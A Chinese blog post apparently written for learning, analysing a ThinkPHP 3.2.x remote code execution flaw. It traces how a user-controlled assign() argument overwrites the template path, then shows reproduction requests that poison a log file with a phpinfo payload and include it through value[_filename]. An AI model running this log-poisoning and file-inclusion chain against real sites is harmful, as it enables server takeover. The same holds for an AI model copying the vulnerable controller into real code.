tp3.2.x RCE分析复现

## 前言 无意间在最新的漏洞报告中看到关于ThinkPHP3.2.x RCE漏洞通报,最近正好在学习php相关知识,准备闲来无事分析和复现一波。 ## 环境搭建 phpstudy+php7.3.4+ThinkPHP3.2.3+windows10...

前言

无意间在最新的漏洞报告中看到关于ThinkPHP3.2.x RCE漏洞通报,最近正好在学习php相关知识,准备闲来无事分析和复现一波。

环境搭建

phpstudy+php7.3.4+ThinkPHP3.2.3+windows10

\Application\Home\Controller\IndexController.class.php目录下添加如下代码

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($value=''){
        $this->assign($value);
        $this->display();
    }
}


因为该漏洞利用的assign函数需要模板渲染,所以需要创建对应的模板文件,内容随意,模板文件位置:

\Application\Home\View\Index\index.html

漏洞介绍

该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。

漏洞分析

文件Application/Home/Controller/IndexController.class.php
assign方法中第一个变量为可控变量。

进入到assign方法中
ThinkPHP/Library/Think/Controller.class.php

实际上调用的是ThinkPHP/Library/Think/View.class.php中的assign函数,并赋值给$this→tVar变量。

然后进入display方法

Controller.class.php的display调用View.class.php的display。

调用fetch方法

跟进fetch方法,先会判断模板文件是否存在,不存在直接返回。

然后由于系统配置的默认模板引擎为Think,所以走else分支

$this→tVar变量值赋值给$params,此时var为传入的日志路径,file为模板文件的路径。

跟进listen函数,经过一些判断后进入exec函数中

经过一定处理后将调用Behavior\ParseTemplateBehavior类中的run方法处理$params,而其中储存着带有日志文件路径的值。

进入\ThinkPHP\Library\Behavior\ParseTemplateBehavior.class.php的run函数。寻找谁继续处理了日志文件路径,发现为ThinkPHP/Library/Think/Template.class.php的fetch方法,其中$_data[var]储存了日志文件路径的变量值。

最后跟进到Storageload方法

判断$vars值是否为空,不为空则会以EXTR_OVERWRITE属性覆盖$_filename原有的值。最后$_filename将等于./Application/Runtime/Logs/Common/21_08_23.log,最后形成文件包含。

漏洞复现

创建log文件
http://127.0.0.1/tp3/index.php?m=--><?=phpinfo();?>

GET /tp3/index.php?m=--><?=phpinfo();?> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: PHPSESSID=np6v88jt9982el6btpcm998moe
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1


包含log文件,注意日志文件名,tp的日志文件名和年月日是相关的。

http://127.0.0.1/tp3/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_08_23.log

后记

该漏洞由(【漏洞通报】ThinkPHP3.2.x RCE漏洞通报)[https://mp.weixin.qq.com/s?__biz=MzAwMjQ2NTQ4Mg==&mid=2247487129&idx=1&sn=3d80cc03e4f03a6bdb2be1611e98957c] 在
今年07月12日率先纰漏,不过看到有大佬说这好像是个老洞,有类似的。不过这都与小弟无关,作为入门新手进行学习。如有错误请师傅们斧正。

  • 发表于 2021-08-31 15:53:08
  • 阅读 ( 7268 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
ccYo1
ccYo1

13 篇文章

站长统计